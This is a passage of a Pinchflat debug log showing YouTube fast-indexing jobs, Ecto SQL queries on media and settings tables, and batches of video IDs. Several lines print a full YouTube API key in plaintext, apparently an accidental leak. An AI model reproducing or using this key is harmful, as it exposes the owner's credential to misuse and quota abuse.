"-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 16:07:37.068 [debug] QUERY OK source="media_items" db=2.1ms idle=81.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:07:37.069 [debug] QUERY OK source="tasks" db=0.1ms idle=78.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799910, 10, ~U[2026-02-10 22:07:37Z], ~U[2026-02-10 22:07:37Z]] 16:07:37.069 [info] {"args":{"id":10},"id":3799871,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":298062,"event":"job:stop","queue_time":306981,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:37.772 [info] {"args":{"id":9},"id":3799872,"meta":{},"system_time":1770761257772804556,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:37.773 [info] {"args":{"id":8},"id":3799873,"meta":{},"system_time":1770761257772844580,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:37.773 [debug] QUERY OK source="sources" db=0.1ms idle=703.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:07:37.773 [debug] QUERY OK source="sources" db=0.2ms idle=703.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:07:37.773 [debug] QUERY OK source="settings" db=0.1ms idle=697.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:37.773 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:37.773 [debug] QUERY OK source="settings" db=0.4ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:37.774 [debug] QUERY OK source="settings" db=0.2ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:37.774 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:07:37.774 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:37.774 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:37.774 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:37.774 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:37.774 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:07:37.774 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:37.774 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:37.923 [debug] QUERY OK source="media_items" db=0.7ms idle=148.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 16:07:37.924 [debug] QUERY OK source="media_items" db=0.5ms idle=149.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:07:37.925 [debug] QUERY OK source="tasks" db=0.0ms idle=150.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799911, 9, ~U[2026-02-10 22:07:37Z], ~U[2026-02-10 22:07:37Z]] 16:07:37.925 [info] {"args":{"id":9},"id":3799872,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":152238,"event":"job:stop","queue_time":507779,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:38.130 [debug] QUERY OK source="media_items" db=0.8ms idle=204.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:07:38.131 [debug] QUERY OK source="media_items" db=0.4ms idle=206.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:07:38.132 [debug] QUERY OK source="tasks" db=0.1ms idle=200.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799912, 8, ~U[2026-02-10 22:07:38Z], ~U[2026-02-10 22:07:38Z]] 16:07:38.132 [info] {"args":{"id":8},"id":3799873,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":359425,"event":"job:stop","queue_time":412661,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:42.778 [info] {"args":{"id":40},"id":3799874,"meta":{},"system_time":1770761262778667066,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:42.779 [debug] QUERY OK source="sources" db=0.1ms idle=900.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 16:07:42.779 [debug] QUERY OK source="settings" db=0.1ms idle=900.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:42.779 [debug] QUERY OK source="media_profiles" db=0.1ms idle=900.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:42.779 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:42.779 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 16:07:42.779 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:42.779 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:42.945 [debug] QUERY OK source="media_items" db=0.8ms idle=165.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 16:07:42.948 [debug] QUERY OK source="media_items" db=2.2ms idle=166.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 16:07:42.949 [debug] QUERY OK source="tasks" db=0.1ms idle=169.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799913, 40, ~U[2026-02-10 22:07:42Z], ~U[2026-02-10 22:07:42Z]] 16:07:42.949 [info] {"args":{"id":40},"id":3799874,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":170721,"event":"job:stop","queue_time":521510,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:43.779 [info] {"args":{"id":2},"id":3799875,"meta":{},"system_time":1770761263779690732,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:43.780 [debug] QUERY OK source="sources" db=0.1ms idle=830.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:07:43.780 [debug] QUERY OK source="settings" db=0.1ms idle=830.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.780 [debug] QUERY OK source="media_profiles" db=0.0ms idle=824.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:43.780 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.780 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:07:43.780 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.780 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:43.864 [debug] QUERY OK source="media_items" db=0.6ms idle=84.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", 